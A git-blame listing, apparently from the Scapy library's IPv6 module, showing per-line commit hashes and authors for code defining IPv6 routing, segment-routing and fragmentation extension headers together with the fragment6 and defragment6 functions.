941c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("nh", 59, ipv6nh),
942c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    FieldLenField("len", None, length_of="options", fmt="B",
9430d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz                                  adjust = lambda pkt,x: (x+2+7)/8 - 1),
944c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    _PhantomAutoPadField("autopad", 1), # autopad activated by default
94577132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                    _HopByHopOptionsField("options", [], HBHOptUnknown, 2,
946c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                          length_from = lambda pkt: (8*(pkt.len+1))-2) ]
947c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    overload_fields = {IPv6: { "nh": 60 }}
948c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
949c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
950c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil############################# Routing Header ################################
951c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
952c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass IPv6ExtHdrRouting(_IPv6ExtHdr):
953c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "IPv6 Option Header Routing"
954c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("nh", 59, ipv6nh),
955c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    FieldLenField("len", None, count_of="addresses", fmt="B",
956c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                  adjust = lambda pkt,x:2*x), # in 8 bytes blocks
957c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("type", 0),
958c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("segleft", None),
959c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    BitField("reserved", 0, 32), # There is meaning in this field ...
96077132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                    IP6ListField("addresses", [],
961c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                 length_from = lambda pkt: 8*pkt.len)]
962c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    overload_fields = {IPv6: { "nh": 43 }}
963c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
964c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def post_build(self, pkt, pay):
965c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if self.segleft is None:
966c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            pkt = pkt[:3]+struct.pack("B", len(self.addresses))+pkt[4:]
967c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return _IPv6ExtHdr.post_build(self, pkt, pay)
968c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
96935354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon
970f23cf0e4848da56e0fea1b2773ce7df5e85f97beNhoutain######################### Segment Routing Header ############################
971f23cf0e4848da56e0fea1b2773ce7df5e85f97beNhoutain
97235354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon# This implementation is based on draft 06, available at:
97335354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon# https://tools.ietf.org/html/draft-ietf-6man-segment-routing-header-06
97435354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon
97535354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadonclass IPv6ExtHdrSegmentRoutingTLV(Packet):
97635354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon    name = "IPv6 Option Header Segment Routing - Generic TLV"
97735354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon    fields_desc = [ ByteField("type", 0),
97835354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon                    ByteField("len", 0),
97935354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon                    ByteField("reserved", 0),
98035354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon                    ByteField("flags", 0),
98135354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon                    StrLenField("value", "", length_from=lambda pkt: pkt.len) ]
98235354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon
98335354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon    def extract_padding(self, p):
98435354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon        return "",p
98535354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon
98635354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon    registered_sr_tlv = {}
98735354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon    @classmethod
98835354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon    def register_variant(cls):
98935354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon        cls.registered_sr_tlv[cls.type.default] = cls
99035354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon
99135354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon    @classmethod
99235354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon    def dispatch_hook(cls, pkt=None, *args, **kargs):
99335354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon        if pkt:
99435354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon            tmp_type = ord(pkt[0])
99535354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon            return cls.registered_sr_tlv.get(tmp_type, cls)
99635354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon        return cls
99735354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon
99835354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon
99935354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadonclass IPv6ExtHdrSegmentRoutingTLVIngressNode(IPv6ExtHdrSegmentRoutingTLV):
100035354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon    name = "IPv6 Option Header Segment Routing - Ingress Node TLV"
100135354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon    fields_desc = [ ByteField("type", 1),
100235354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon                    ByteField("len", 18),
100335354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon                    ByteField("reserved", 0),
100435354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon                    ByteField("flags", 0),
100535354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon                    IP6Field("ingress_node", "::1") ]
100635354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon
100735354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon
100835354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadonclass IPv6ExtHdrSegmentRoutingTLVEgressNode(IPv6ExtHdrSegmentRoutingTLV):
100935354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon    name = "IPv6 Option Header Segment Routing - Egress Node TLV"
101035354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon    fields_desc = [ ByteField("type", 2),
101135354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon                    ByteField("len", 18),
101235354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon                    ByteField("reserved", 0),
101335354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon                    ByteField("flags", 0),
101435354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon                    IP6Field("egress_node", "::1") ]
101535354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon
101635354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon
101735354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadonclass IPv6ExtHdrSegmentRoutingTLVPadding(IPv6ExtHdrSegmentRoutingTLV):
101835354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon    name = "IPv6 Option Header Segment Routing - Padding TLV"
101935354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon    fields_desc = [ ByteField("type", 4),
102035354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon                    FieldLenField("len", None, length_of="padding", fmt="B"),
10212a7ad0d13aaaa2a5358f82c67877856863a30d61gpotter                    StrLenField("padding", b"\x00", length_from=lambda pkt: pkt.len) ]
102235354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon
102335354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon
1024f23cf0e4848da56e0fea1b2773ce7df5e85f97beNhoutainclass IPv6ExtHdrSegmentRouting(_IPv6ExtHdr):
1025f23cf0e4848da56e0fea1b2773ce7df5e85f97beNhoutain    name = "IPv6 Option Header Segment Routing"
1026f23cf0e4848da56e0fea1b2773ce7df5e85f97beNhoutain    fields_desc = [ ByteEnumField("nh", 59, ipv6nh),
102735354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon                    ByteField("len", None),
1028f23cf0e4848da56e0fea1b2773ce7df5e85f97beNhoutain                    ByteField("type", 4),
102935354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon                    ByteField("segleft", None),
103035354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon                    ByteField("lastentry", None),
103135354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon                    BitField("unused1", 0, 1),
1032f23cf0e4848da56e0fea1b2773ce7df5e85f97beNhoutain                    BitField("protected", 0, 1),
1033f23cf0e4848da56e0fea1b2773ce7df5e85f97beNhoutain                    BitField("oam", 0, 1),
1034f23cf0e4848da56e0fea1b2773ce7df5e85f97beNhoutain                    BitField("alert", 0, 1),
1035f23cf0e4848da56e0fea1b2773ce7df5e85f97beNhoutain                    BitField("hmac", 0, 1),
103635354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon                    BitField("unused2", 0, 3),
103735354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon                    ShortField("tag", 0),
103835354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon                    IP6ListField("addresses", ["::1"],
103935354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon                        count_from=lambda pkt: pkt.lastentry),
104035354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon                    PacketListField("tlv_objects", [], IPv6ExtHdrSegmentRoutingTLV,
104135354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon                        length_from=lambda pkt: 8*pkt.len - 16*pkt.lastentry) ]
104235354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon
104335354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon    overload_fields = { IPv6: { "nh": 43 } }
1044f23cf0e4848da56e0fea1b2773ce7df5e85f97beNhoutain
1045f23cf0e4848da56e0fea1b2773ce7df5e85f97beNhoutain    def post_build(self, pkt, pay):
1046f23cf0e4848da56e0fea1b2773ce7df5e85f97beNhoutain
104735354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon        if self.len is None:
104835354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon
104935354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon            # The extension must be align on 8 bytes
105035354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon            tmp_mod = (len(pkt) - 8) % 8
105135354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon            if tmp_mod == 1:
105235354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon                warning("IPv6ExtHdrSegmentRouting(): can't pad 1 byte !")
105335354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon            elif tmp_mod >= 2:
105435354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon                #Add the padding extension
10552a7ad0d13aaaa2a5358f82c67877856863a30d61gpotter                tmp_pad = b"\x00" * (tmp_mod-2)
105635354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon                tlv = IPv6ExtHdrSegmentRoutingTLVPadding(padding=tmp_pad)
105735354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon                pkt += str(tlv)
105835354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon
105935354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon            tmp_len = (len(pkt) - 8) / 8
106035354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon            pkt = pkt[:1] + struct.pack("B", tmp_len)+ pkt[2:]
106135354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon
106235354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon        if self.segleft is None:
106335354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon            tmp_len = len(self.addresses)
106435354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon            if tmp_len:
106535354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon                tmp_len -= 1
106635354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon            pkt = pkt[:3] + struct.pack("B", tmp_len) + pkt[4:]
106735354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon
106835354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon        if self.lastentry is None:
106935354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon            pkt = pkt[:4] + struct.pack("B", len(self.addresses)) + pkt[5:]
107035354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon
107135354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon        return _IPv6ExtHdr.post_build(self, pkt, pay)
1072f23cf0e4848da56e0fea1b2773ce7df5e85f97beNhoutain
1073f23cf0e4848da56e0fea1b2773ce7df5e85f97beNhoutain
1074c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil########################### Fragmentation Header ############################
1075c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
10760d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautzclass IPv6ExtHdrFragment(_IPv6ExtHdr):
1077c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "IPv6 Extension Header - Fragmentation header"
1078c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("nh", 59, ipv6nh),
1079c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    BitField("res1", 0, 8),
108077132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                    BitField("offset", 0, 13),
108177132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                    BitField("res2", 0, 2),
108277132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                    BitField("m", 0, 1),
108377132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                    IntField("id", None) ]
1084c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    overload_fields = {IPv6: { "nh": 44 }}
1085c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1086c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
108752165d0dd55a1071b935d002a41a95210c97f8e7Guillaume Valadondef defragment6(packets):
1088c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    """
1089c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    Performs defragmentation of a list of IPv6 packets. Packets are reordered.
1090c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    Crap is dropped. What lacks is completed by 'X' characters.
1091c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    """
10920d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
109352165d0dd55a1071b935d002a41a95210c97f8e7Guillaume Valadon    l = [x for x in packets if IPv6ExtHdrFragment in x] # remove non fragments
1094c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    if not l:
1095c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return []
1096c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
10970d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    id = l[0][IPv6ExtHdrFragment].id
1098c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1099c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    llen = len(l)
110052165d0dd55a1071b935d002a41a95210c97f8e7Guillaume Valadon    l = [x for x in l if x[IPv6ExtHdrFragment].id == id]
1101c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    if len(l) != llen:
1102c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        warning("defragment6: some fragmented packets have been removed from list")
1103c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    llen = len(l)
1104c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
11050d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    # reorder fragments
11060d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    i = 0
1107c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    res = []
1108c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    while l:
1109c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        min_pos = 0
1110c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        min_offset  = l[0][IPv6ExtHdrFragment].offset
1111c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        for p in l:
1112c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            cur_offset = p[IPv6ExtHdrFragment].offset
1113c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            if cur_offset < min_offset:
1114c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                min_pos = 0
1115c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                min_offset  = cur_offset
1116c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        res.append(l[min_pos])
1117c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        del(l[min_pos])
1118c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1119c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    # regenerate the fragmentable part
1120c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fragmentable = ""
1121c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    for p in res:
1122c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        q=p[IPv6ExtHdrFragment]
1123c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        offset = 8*q.offset
1124c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if offset != len(fragmentable):
1125c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            warning("Expected an offset of %d. Found %d. Padding with XXXX" % (len(fragmentable), offset))
1126c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        fragmentable += "X"*(offset - len(fragmentable))
1127c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        fragmentable += str(q.payload)
1128c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1129c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    # Regenerate the unfragmentable part.
1130c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    q = res[0]
1131c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    nh = q[IPv6ExtHdrFragment].nh
1132c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    q[IPv6ExtHdrFragment].underlayer.nh = nh
113309e12802fc2694f5de2870b600c2abe732705366Pierre LALET    del q[IPv6ExtHdrFragment].underlayer.payload
11347b3e970663abd72697e17b70aba9943ae0dad404Phil    q /= conf.raw_layer(load=fragmentable)
11350d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
1136c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    return IPv6(str(q))
1137c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1138c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1139c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhildef fragment6(pkt, fragSize):
1140c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    """
11410d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    Performs fragmentation of an IPv6 packet. Provided packet ('pkt') must already
1142c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    contain an IPv6ExtHdrFragment() class. 'fragSize' argument is the expected
1143c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    maximum size of fragments (MTU). The list of packets is returned.
1144c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1145c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    If packet does not contain an IPv6ExtHdrFragment class, it is returned in
1146c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    result list.
1147c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    """
1148c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1149c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    pkt = pkt.copy()
1150c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1151c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    if not IPv6ExtHdrFragment in pkt:
1152c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        # TODO : automatically add a fragment before upper Layer
1153c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        #        at the moment, we do nothing and return initial packet
1154c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        #        as single element of a list
1155c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return [pkt]
1156c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
115795776ce795664e3f0703cf245792dc6e9d8d6ca6Guillaume Valadon    # If the payload is bigger than 65535, a Jumbo payload must be used, as
11580d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    # an IPv6 packet can't be bigger than 65535 bytes.
1159d5e4a897680762663fd14993a4f2c9691675ec29Guillaume Valadon    if len(str(pkt[IPv6ExtHdrFragment])) > 65535:
116095776ce795664e3f0703cf245792dc6e9d8d6ca6Guillaume Valadon      warning("An IPv6 packet can'be bigger than 65535, please use a Jumbo payload.")
116195776ce795664e3f0703cf245792dc6e9d8d6ca6Guillaume Valadon      return []
11620d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
1163d5e4a897680762663fd14993a4f2c9691675ec29Guillaume Valadon    s = str(pkt) # for instantiation to get upper layer checksum right
1164d5e4a897680762663fd14993a4f2c9691675ec29Guillaume Valadon
1165d5e4a897680762663fd14993a4f2c9691675ec29Guillaume Valadon    if len(s) <= fragSize:
1166d5e4a897680762663fd14993a4f2c9691675ec29Guillaume Valadon        return [pkt]
1167d5e4a897680762663fd14993a4f2c9691675ec29Guillaume Valadon
1168c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    # Fragmentable part : fake IPv6 for Fragmentable part length computation
1169c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fragPart = pkt[IPv6ExtHdrFragment].payload
1170c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    tmp = str(IPv6(src="::1", dst="::1")/fragPart)
1171c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fragPartLen = len(tmp) - 40  # basic IPv6 header length
1172c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fragPartStr = s[-fragPartLen:]
1173c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1174c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    # Grab Next Header for use in Fragment Header
1175259efa6175979052b26bd8d6028461a0bc23b005Mostafa Razavi    nh = pkt[IPv6ExtHdrFragment].nh
1176c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1177c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    # Keep fragment header
1178c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fragHeader = pkt[IPv6ExtHdrFragment]
117909e12802fc2694f5de2870b600c2abe732705366Pierre LALET    del fragHeader.payload # detach payload
1180c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1181c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    # Unfragmentable Part
1182c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    unfragPartLen = len(s) - fragPartLen - 8
1183c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    unfragPart = pkt
118409e12802fc2694f5de2870b600c2abe732705366Pierre LALET    del pkt[IPv6ExtHdrFragment].underlayer.payload # detach payload
1185c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
11860d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    # Cut the fragmentable part to fit fragSize. Inner fragments have
1187c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    # a length that is an integer multiple of 8 octets. last Frag MTU
1188c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    # can be anything below MTU
1189c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    lastFragSize = fragSize - unfragPartLen - 8
1190c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    innerFragSize = lastFragSize - (lastFragSize % 8)
11910d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
1192c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    if lastFragSize <= 0 or innerFragSize == 0:
11930d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz        warning("Provided fragment size value is too low. " +
1194c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                "Should be more than %d" % (unfragPartLen + 8))
1195c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return [unfragPart/fragHeader/fragPart]
1196c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1197c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    remain = fragPartStr
1198c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    res = []
1199c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fragOffset = 0     # offset, incremeted during creation
1200c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fragId = random.randint(0,0xffffffff) # random id ...
1201c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    if fragHeader.id is not None:  # ... except id provided by user
1202c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        fragId = fragHeader.id
1203c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fragHeader.m = 1
1204c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fragHeader.id = fragId
1205c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fragHeader.nh = nh
1206c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1207c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    # Main loop : cut, fit to FRAGSIZEs, fragOffset, Id ...
1208c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    while True:
1209c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if (len(remain) > lastFragSize):
12100d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz            tmp = remain[:innerFragSize]
1211c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            remain = remain[innerFragSize:]
1212c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            fragHeader.offset = fragOffset    # update offset
1213c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            fragOffset += (innerFragSize / 8)  # compute new one
12140d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz            if IPv6 in unfragPart:
1215c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                unfragPart[IPv6].plen = None
12167b3e970663abd72697e17b70aba9943ae0dad404Phil            tempo = unfragPart/fragHeader/conf.raw_layer(load=tmp)
1217c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            res.append(tempo)
1218c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        else:
1219c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            fragHeader.offset = fragOffset    # update offSet
1220c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            fragHeader.m = 0
1221c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            if IPv6 in unfragPart:
1222c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                unfragPart[IPv6].plen = None
12237b3e970663abd72697e17b70aba9943ae0dad404Phil            tempo = unfragPart/fragHeader/conf.raw_layer(load=remain)
1224c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            res.append(tempo)
1225c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            break
1226c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    return res
1227c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1228c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1229c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil############################### AH Header ###################################
1230c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1231c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# class _AHFieldLenField(FieldLenField):
1232c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#     def getfield(self, pkt, s):
1233c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#         l = getattr(pkt, self.fld)
1234c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#         l = (l*8)-self.shift
1235c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#         i = self.m2i(pkt, s[:l])
12360d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz#         return s[l:],i
1237c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1238c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# class _AHICVStrLenField(StrLenField):
